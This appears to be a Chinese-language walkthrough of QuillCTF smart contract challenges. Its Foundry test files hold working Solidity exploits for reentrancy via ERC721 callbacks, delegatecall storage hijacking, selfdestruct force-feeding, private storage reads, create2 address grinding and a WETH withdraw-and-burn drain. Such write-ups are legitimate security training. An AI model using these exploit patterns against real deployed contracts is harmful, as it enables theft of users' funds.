環境
  • 我這里使用了foundry。
  • 創建項目:forge init xxx
  • 將合約和測試放好之后直接使用 anvil 然后部署合約:
forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/factory.sol:factory
[?] Compiling...
No files changed, compilation skipped
Deployer: 0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266
Deployed to: 0x5FbDB2315678afecb367f032d93F642f64180aa3
Transaction hash: 0xf10a15ea5f681020297c2184ff10b14854285dd2b2162bebe191f7bdc8fab8c
foundry作弊碼:
  • deal : 鑄造任意數量代幣給某個用戶
  • prank : 切換用戶
題目環境已打包:下載鏈接
https://cowtransfer.com/s/9ab12784293b4f 點擊鏈接查看 [ QuillCTF.zip ] ,
或訪問奶牛快傳 cowtransfer.com 輸入傳輸口令 grgohn 查看;

RoadClosed

  1. 部署合約
forge create --rpc-url http://127.0.0.1:8545 --private-key 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 src/RoadClosed.sol:RoadClosed
  1. 編寫測試解題
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/RoadClosed.sol";
contract testRoad is
    Test,
    RoadClosed
{    
    RoadClosed _contract;
    address user1 = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;
    
    function setUp() public {
         vm.prank(owner);
        _contract = new RoadClosed();
    }
    function testRoadClosed() public {
        vm.startPrank(user1);
        _contract.addToWhitelist(user1);
        _contract.changeOwner(user1);
        _contract.pwn(user1);
        bool isHack= _contract.isHacked();
        bool own = _contract.isOwner();
        vm.stopPrank();
        assert(own==true);
        assert(isHack==true);
    }
}

Confidential Hash

  • 雖然變量設置了private,但是依然可以讀出。
  • 編寫test來測試
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Confidential.sol";
contract testCon is
    Test,
    Confidential
{    
    Confidential _contract;
    function setUp() public {
        _contract = new Confidential();
    }
    function testConfidential() public {
        bytes32 aliceHash = vm.load(address(_contract),bytes32(uint256(4)));
        bytes32 bobHash = vm.load(address(_contract),bytes32(uint256(9)));
        bytes32 hash_value = _contract.hash(aliceHash,bobHash);
        bool isOK = _contract.checkthehash(hash_value);
        assert(isOK==true);
    }
}

VIP Bank

  • 合約中有一個require,如果合約的 maxETH 小于合約的balance,就過不去require了,相當于所有人都無法進行 withdraw ,因為只有VIP才可以進行deposit,我這里強制給他錢,使用 selfdestruct
  • 編寫test來測試
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/VIP_Bank.sol";
contract Attack{
    address public vb;
    constructor(address _target){
        vb = _target;
    }
    receive() external payable{}
    function  destroy() public{
        selfdestruct(payable(vb));
    }
}
contract VIPBankTest is Test {
    VIP_Bank public _contract;
    address public admin;
    address public attacker;
    address public alice;
    function setUp() public {
        admin = vm.addr(1);
        attacker = vm.addr(2);
        alice = vm.addr(3);
        vm.deal(alice, 1 ether);
        vm.deal(attacker, 1 ether);
        vm.startPrank(admin);
        _contract = new VIP_Bank();
        _contract.addVIP(alice);
        vm.stopPrank();
    }
    function testExploit() public {
        vm.startPrank(alice);
        _contract.deposit{value: 0.05 ether}();
        vm.stopPrank();
        vm.startPrank(attacker);
        assertEq(0.05 ether, _contract.contractBalance());
        Attack attack = new Attack(address(_contract));
        payable(attack).transfer(1 ether);
        attack.destroy();
        vm.stopPrank();
        assertEq(_contract.contractBalance(), 1.05 ether);
        vm.startPrank(alice);
        vm.expectRevert();
        _contract.withdraw(0.05 ether);
    }
}

safeNFT

  • 合約的 claim 函數存在重入漏洞,調用 _safeMint 的時候,我們自己合約的 onERC721Received 函數可以再次去調用claim函數從而再次鑄造nft
  • 測試代碼如下:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/safeNFT.sol";
import "openzeppelin-contracts/contracts/token/ERC721/IERC721Receiver.sol";
contract AttackERC721 is IERC721Receiver{
    safeNFT public sna;
    bool public complete;
    address internal owner;
    constructor(address _safeNft){
        sna = safeNFT(_safeNft);
        owner = msg.sender;
    }
    function attack() public payable{
        sna.buyNFT{value: msg.value}();
        sna.claim();
        uint256 balance = sna.balanceOf(address(this));
        for (uint256 i=0; i < balance; i++){
            sna.transferFrom(address(this), owner, i);
        }
    }
    function onERC721Received(address, address, uint256, bytes memory) public virtual override returns (bytes4){
        if (!complete) {
            complete = true;
            sna.claim(); // claiming the 
        }
        return this.onERC721Received.selector; 
    }
}
contract VIPBankTest is Test {
    address public attacker;
    safeNFT public _contract;
    function setUp() public {
        attacker = vm.addr(1);
        vm.deal(attacker,1 ether);
        _contract = new safeNFT("QuillNFT", "QUL", 0.01 ether);
    }
    function testExploit() public {
        uint256 attackerBalance;
        attackerBalance = _contract.balanceOf(attacker);
        assertEq(attackerBalance, 0);
        vm.startPrank(attacker);
        AttackERC721 attackContract = new AttackERC721(address(_contract));
        attackContract.attack{value: 0.01 ether}();
        vm.stopPrank();
        attackerBalance = _contract.balanceOf(attacker);
        assertEq(attackerBalance, 2);
    }
}

D31eg4t3

  • 合約考點很明顯, delegatecall 重寫變量,
function hackMe(bytes calldata bites) public returns(bool, bytes memory) {
        (bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
        return (r, msge);
}
  • 測試代碼:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/D31eg4t3.sol";
contract Attack{
    uint a = 12345;
    uint8 b = 32;
    string private d; 
    uint32 private c; 
    string private mot;
    address public owner;
    mapping (address => bool) public canYouHackMe;
    function attack(address delegateAddress, address attackerAddress) public{
        D31eg4t3 delegateContract = D31eg4t3(delegateAddress);
        delegateContract.hackMe(abi.encodeWithSignature("pwn(address)", attackerAddress));
    }
    function pwn(address attackerAddress) public {
        owner = attackerAddress;
        canYouHackMe[attackerAddress] = true;
    }
}
contract testCon is Test {    
    D31eg4t3 _contract;
    address owner;
    address attacker;
    function setUp() public {
        owner = vm.addr(1);
        attacker = vm.addr(2);
        vm.startPrank(owner);
        _contract = new D31eg4t3();
        vm.stopPrank();
    }
    function testExploit() public {
        vm.startPrank(attacker);
        Attack att = new Attack();
        att.attack(address(_contract), attacker);
        vm.stopPrank();
        assertEq(_contract.owner(), attacker);
        assert(_contract.canYouHackMe(attacker) == true);
    }
}

CollatzPuzzle

題目:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICollatz {
  function collatzIteration(uint256 n) external pure returns (uint256);
}
contract CollatzPuzzle is ICollatz {
  function collatzIteration(uint256 n) public pure override returns (uint256) {
    if (n % 2 == 0) {
      return n / 2;
    } else {
      return 3 * n + 1;
    }
  }
  function callMe(address addr) external view returns (bool) {
    // check code size
    uint256 size;
    assembly {
      size := extcodesize(addr)
    }
    require(size > 0 && size <= 32, "bad code size!");
    // check results to be matching
    uint p;
    uint q;
    for (uint256 n = 1; n < 200; n++) {
      // local result
      p = n;
      for (uint256 i = 0; i < 5; i++) {
        p = collatzIteration(p);
      }
      // your result
      q = n;
      for (uint256 i = 0; i < 5; i++) {
        q = ICollatz(addr).collatzIteration{gas: 100}(q);
      }
      require(p == q, "result mismatch!");
    }
    return true;
  }
}

題目需要我們使用EVM字節碼完成一個32字節以內的 collatzIteration 函數,邏輯為:輸入數字為奇數就3*n+1,如果為偶數直接除2返回。

獲取輸入:
	PUSH1	04
	CALLDATALOAD
我們輸入0x000000000000000000000000000000000000000000000000000000000000000000000002 可以看到獲取到了2
接下來判斷是否可以被2整除
	DUP2
	MOD
	ISZERO
這里結果為1,證明我們可以被整除,但是我們的輸入缺丟了。所以我們需要改進一下保存我們的輸入
	PUSH1 02
	PUSH1 04
	CALLDATALOAD
	DUP2
	DUP2
	MOD
	ISZERO
我們已經保存了輸入,下面來到我們的判斷,如果是奇數我們直接*3+1
	PUSH1 03
	MUL
	PUSH1 01
	ADD
如果是偶數就除2
	DIV
最后返回
	PUSH1 00
	MSTORE
	PUSH1 20
	PUSH1 00
	RETURN

我們在里面加上跳轉之后就組成了

	PUSH1 02
	PUSH1 04
	CALLDATALOAD
	DUP2
	DUP2
	MOD
	ISZERO
	PUSH1 21
	JUMPI
	PUSH1 03
	MUL
	PUSH1 01
	ADD
	PUSH1 23
	JUMP
	JUMPDEST
	DIV
	JUMPDEST
	PUSH1 00
	MSTORE
	PUSH1 32
	PUSH1 00
	RETURN

以上指令的bytecode為:6002600435818106156015576003026001016017565b045b60005260206000f3

我們還需要一段字節碼將我們上面的運行時代碼部署到鏈上

PUSH32 6002600435818106156015576003026001016017565b045b60005260206000f3
PUSH1	00
MSTORE
PUSH1	20
PUSH1	00
RETURN

也就是 0x7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3

由此,我們的測試腳本就可以編寫了:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Collatz_Puzzle.sol";
contract Attack{
    function deploy() public returns (address){
        bytes memory con = hex"7f6002600435818106156015576003026001016017565b045b60005260206000f360005260206000f3";
        address addr;
        assembly{
            addr := create(0,add(con,0x20),0x29)
        }
        return addr;
    }
}
contract testCollatz is Test {    
    CollatzPuzzle public cz;
    address attacker;
    function setUp() public {
        attacker = vm.addr(1);
        cz = new CollatzPuzzle();
    }
    function testExploit() public {
        vm.startPrank(attacker);
        Attack att = new Attack();
        address taddr = att.deploy();
        bool ans = cz.callMe(taddr);
        vm.stopPrank();
        assert(ans == true);
    }
}

True XOR

題目要求同一個函數 一次返回為真,一次返回為假

bool p = IBoolGiver(target).giveBool();
bool q = IBoolGiver(target).giveBool();

函數聲明為:function giveBool() external view returns (bool);

也就是我們不能夠引入變量進去修改了,那么在代碼運行時只有gas是變化的,我們通過左移255后然后右移255獲得不同的bool。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/True_XOR.sol";
contract Attack{
    bool FirstCall;
    function giveBool() external view returns (bool){
        bool res;
        assembly {
            res := shr(255, shl(255, gas()))
        }
        return res;
    }
}
contract testCon is Test {    
    TrueXOR _contract;
    address attacker;
    function setUp() public {
        attacker = vm.addr(1);
        _contract = new TrueXOR();
    }
    function testExploit() public {
        vm.startPrank(attacker, attacker);
        Attack att = new Attack();
        bool ok = _contract.callMe(address(att));
        assert(ok == true);
    }
}

Pelusa

要求將合約中的 goals 變量改為2.

我們分析這個合約,也就是需要在 shoot 函數中成功調用 delegatecall 來完成修改,但是成功調用的前提是 isGoal 函數的require檢查,如果需要滿足就需要 getBallPossesion 函數返回owner,這里我們也可以通過修改player的地址來完成,但是如何成為player?我們可以通過 create2 來完成創建使其可以滿足調用 passTheBall

require(uint256(uint160(msg.sender)) % 100 == 10, "not allowed");

我們如何讓自己的地址滿足這個要求呢?我們下面就來實現一下:

我們寫一個部署合約,用來預測create2地址并且運算,滿足了我們再來使用

create2 原理:新地址 = hash("0xFF",創建者地址, salt, bytecode)

那么我們就需要 bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash)); 這樣來獲取地址,initHash是:bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target))); 獲取自己的bytecode。

我們下面只需要一直while循環將自己的hash % 100 == 10即可。

contract DeployerContract  {
    Attack public attackContract;
    constructor(address _target) {
        bytes32 salt = calculateSalt(_target); 
        attackContract = new Attack{ salt: bytes32(salt) }(_target); 
    }
    function calculateSalt(address target) private view returns (bytes32) {
        uint256 salt = 0;
        bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
        while (true) {
            bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
            if (uint160(uint256(hash)) % 100 == 10) {
                break; 
            }
           salt += 1;
        }
        return bytes32(salt); 
    }
}

現在我們已經可以滿足 passTheBall 函數的要求了,那么我們就可以將自己的攻擊合約設置為player從而進行 isGoal 的調用,這里我們是可以直接讀取這個合約的owner的。因為這個owner是不可變變量,我們找到他并不是從插槽直接搜,而是根據他的特征,

const Web3 = require('web3')
const web3 = new Web3('http://localhost:8545')
var index = 1;
const contract_address = web3.utils.toChecksumAddress('0x5fbdb2315678afecb367f032d93f642f64180aa3')
web3.eth.getCode(contract_address).then((resp) => {
    index = resp.indexOf('7f000000000000000000000000');
    const pushLine = resp.slice(index, index + 66);
    const ownerAddress = '0x' + pushLine.slice(26); 
    console.log(ownerAddress)
});
remix本地部署測試。

Untitled

Untitled

Untitled

但是這里部署者是我自己,我這里就可以直接返回owner。至此,我們就可以成功調用 shoot 來完成 delegatecall 從而修改變量。

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/Pelusa.sol";
contract DeployerContract {
    Attack public attackContract;
    constructor(address _target) {
        bytes32 salt = calculateSalt(_target); // calculate the salt
        attackContract = new Attack{ salt: bytes32(salt) }(_target); // pass the salt to deploy the attack contract
    }
    function calculateSalt(address target) private view returns (bytes32) {
        uint256 salt = 0;
        bytes32 initHash = keccak256(abi.encodePacked(type(Attack).creationCode, abi.encode(target)));
        while (true) {
            bytes32 hash = keccak256(abi.encodePacked(bytes1(0xff), address(this), bytes32(salt), initHash));
            // checking generated hash gives 10 as reminder while dividing by 100
            if (uint160(uint256(hash)) % 100 == 10) {
                break; // if true then break the loop
            }
           salt += 1;
        }
        return bytes32(salt); // return the salt which satisfied the condition we needed
    }
}
contract Attack is IGame {
    address private owner; // owner of the contract
    uint256 public goals; // number of goals
    Pelusa public pelusaContract;
    constructor(address _pAddress) {
        pelusaContract = Pelusa(_pAddress);
        pelusaContract.passTheBall(); // calling the passTheBall function because size of address code during contract creation is 0
    }
    function handOfGod() external returns (uint256) {
        goals = 2; // setting the goals to 2 which is the goal of this challenge
        return 22_06_1986; // returning the required uint variable. Underscores are neglected.
    }
    // function to return the owner calulated in pwn function
    function getBallPossesion() external view returns (address) {
        return owner;
    }
    function pwn(address _deployer) external {
        // owner is dervied from the deployer and block number
        owner = address(uint160(uint256(keccak256(abi.encodePacked(_deployer, bytes32(uint256(0)))))));
        pelusaContract.shoot();
    }
}
contract PelusaTest is Test {
    Pelusa public pelusa;
    address public attacker;
    address public deployer;
    address public futureAddress;
    function setUp() public {
        attacker = vm.addr(2); // attacker
        deployer = vm.addr(1); //deployer
        vm.prank(deployer);
        pelusa = new Pelusa(); // declare the Pelusa contract
    }
    function testExploit() public {
        vm.startPrank(attacker, attacker);
        DeployerContract dc = new DeployerContract(address(pelusa)); // create an address to satisfy the condition
        Attack attack = Attack(dc.attackContract()); // using the address created to initialise the Attack contract
        attack.pwn(deployer); // calling the pwn() function
        vm.stopPrank();
        assert(pelusa.goals() == 2); // verifying whether the goals = 2
    }
}

Untitled

WETH10

原始代碼引用lib庫方式與我本地foundry有所差異,已經修改

根據要求,我目前是bob,又一個eth,需要提取合約中剩余的10個eth即可。合約中已經使用了 nonReentrant 庫來對函數進行了重入保護,使得我們無法利用重入漏洞來完成攻擊。

一開始盯著 execute 函數看了半天,因為這是個閃電貸函數,后來感覺也沒啥問題,隨機去看了其他被重入保護的函數。我們注意 withdrawAll 函數,他在調用轉賬之后會燃燒掉剩余的代幣,核心在于剩余, _burn(msg.sender, balanceOf(msg.sender)); 。如果我們轉賬之后燃燒之前轉移了我的代幣,他不就沒辦法燃燒,一會我再取回就可以了。

  1. bob轉賬給攻擊合約一個WETH。
  2. 攻擊合約調用 withdrawAll 獲取這一個幣,然后使用 receive 函數獲取的幣轉給我們這時候我的攻擊合約是沒有錢了,所以無法burn,但是approve給攻擊合約的代幣還在。我們就可以提取走這一個代幣
  3. 反復十次我就獲得了所有代幣。

測試代碼如下:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "src/WETH10.sol";
import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol";
contract Attack{
    WETH10 public target;
    address public owner;
    constructor(address payable  _target){
        target = WETH10(_target);
        owner = msg.sender;
    }
    function callWithdrawAll() external payable{
        target.withdrawAll();
    }
    receive() external payable{
        target.approve(address(this),target.balanceOf(address(this)));
        target.transferFrom(address(this),owner,target.balanceOf(address(this)));
    }
    function hack() external payable{
        owner.call{value: address(this).balance}("");
    }
}
contract Weth10Test is Test {
    WETH10 public weth;
    address owner;
    address bob;
    function setUp() public {
        weth = new WETH10();
        bob = makeAddr("bob");
        vm.deal(address(weth), 10 ether);
        vm.deal(address(bob), 1 ether);
    }
    function testHack() public {
        assertEq(address(weth).balance, 10 ether, "weth contract should have 10 ether");
        vm.startPrank(bob);
        Attack att = new Attack(payable(weth));
        weth.approve(address(bob),11 ether);
        for (uint256 i = 0;i<10;i++){
            weth.deposit{value: 1 ether}();
            weth.transferFrom(address(bob),address(att),1 ether);
            att.callWithdrawAll();
            att.hack();
        }
        weth.withdrawAll();
        vm.stopPrank();
        assertEq(address(weth).balance, 0, "empty weth contract");
        assertEq(bob.balance, 11 ether, "player should end with 11 ether");
    }
}

Gate

合約代碼:

pragma solidity ^0.8.17;
interface IGuardian {
    function f00000000_bvvvdlt() external view returns (address);
    function f00000001_grffjzz() external view returns (address);
}
contract Gate {
    bool public opened;
    function open(address guardian) external {
        uint256 codeSize;
        assembly {
            codeSize := extcodesize(guardian)
        }
        require(codeSize < 33, "bad code size");
        require(
            IGuardian(guardian).f00000000_bvvvdlt() == address(this),
            "invalid pass"
        );
        require(
            IGuardian(guardian).f00000001_grffjzz() == tx.origin,
            "invalid pass"
        );
        (bool success, ) = guardian.call(abi.encodeWithSignature("fail()"));
        require(!success);
        opened = true;
    }
}

要求我們成功調用 open 函數并且opened為true。

這里用到了我們函數簽名的用法


這兩個函數簽名,一個為0一個為1.

最后的fail函數為 0xa9cc4718 也就是2848737048

這樣我們大概的YUL代碼就有思路了,如果調用過來的function signature為0,就返回caller,如果為1就返回origin,如果為2848737048就直接返回即可。但是這樣思路不對,我們并不知道調用過來的函數簽名是什么。

真正的簽名計算是這樣的:

>>> 0x100000000000000000000000000000000000000000000000000000000*0x00000000
0
>>> 0x100000000000000000000000000000000000000000000000000000000*0x00000001
26959946667150639794667015087019630673637144422540572481103610249216
>>> 0x100000000000000000000000000000000000000000000000000000000*0xa9cc4718
76801798882816152179971038701967765803267330225417895110049134443494132154368

這里我們可以通過右移來做這樣一個算法:

calldataload(0) 獲取函數簽名
iszero(shr(calldataload(0))) -> 如果為0就要么是f00000000_bvvvdlt 要么是f00000001_grffjzz
	出現這樣的情況可以判斷calldataload(0)是否為0,如果是0就是f00000000_bvvvdlt
如果不是就是fail

大概的YUL就是:

let x := calldataload(0)
let y := 0x20
mstore(y, origin())
if iszero(shr(225, x))
{
	if iszero(x) { mstore(y, caller()) }
	return(y, y)
}
revert(y, y)

編譯后字節碼是:601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd

測試代碼為:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "forge-std/Test.sol";
import "src/Gate.sol";
contract Attack {
    function deploy(bytes memory given_code) external returns(address ){
        bytes memory code = given_code;
        address addr;
        assembly{
            addr := create(0, add(code, 0x20), mload(code))
        }
        return addr;
    }
}
contract GateTest is Test {
    Gate public gate;
    address public attacker;
    function setUp() public {
        attacker = vm.addr(1); 
        gate = new Gate(); 
    }
    function testExploit() public {
        vm.startPrank(attacker, attacker);
        Attack a = new Attack();
        bytes memory con = hex"601e600d600039601e6000f3fe60003560203281528160e11c601a57816016573381525b8081f35b8081fd";
        address input = a.deploy(con); 
        gate.open(input); 
        vm.stopPrank();
        assert(gate.opened() == true);
    }
}